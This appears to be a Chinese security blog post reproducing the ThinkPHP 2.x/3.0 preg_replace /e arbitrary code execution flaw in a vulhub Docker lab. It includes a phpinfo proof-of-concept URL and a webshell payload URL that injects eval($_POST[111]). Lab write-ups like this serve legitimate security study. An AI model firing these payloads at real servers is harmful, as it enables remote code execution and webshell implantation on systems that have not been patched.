ThinkPHP 2.x 任意代码执行漏洞复现
RainSong
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
ThinkPHP 2.x 任意代码执行漏洞复现
一、 准备工作
复现此漏洞需要安装docker,下载安装docker-compose,搭建vulhub靶场,保证攻击机与靶机之间的网络互通。
二、 漏洞介绍
漏洞产生的原因是因为ThinkPHP 2.x版本中,使用preg_replace ('正则规则','替换字符','目标字符')的/e(可执行模式)模式匹配路由:
$res=preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";',implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
三、 影响版本:
ThinkPHP 2.x
ThinkPHP 3.0
四、 复现过程
老样子,先cd到目录下启动环境
docker-compose up -d
然后我们输入docker ps查看一下服务起到哪个端口
访问http://youIP:8080环境正常。
使用poc验证漏洞:
http://youIP:8080/index.php?s=/index/index/xxx/${@phpinfo()}
phpinfo被成功执行,那么webshell自然也没问题:
http://youIP:8080/index.php?s=/index/index/xxx/${${@eval($_POST[111])}}
连接php一句话:
本文为 RainSong 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
ThinkPHP5系列远程代码执行漏洞复现getshell
2022-05-25
Apache Flink 文件上传漏洞 (CVE-2020-17518)
2022-05-19
Apache APISIX 默认密钥漏洞(CVE-2020-13945)漏洞复现
2022-05-16
文章目录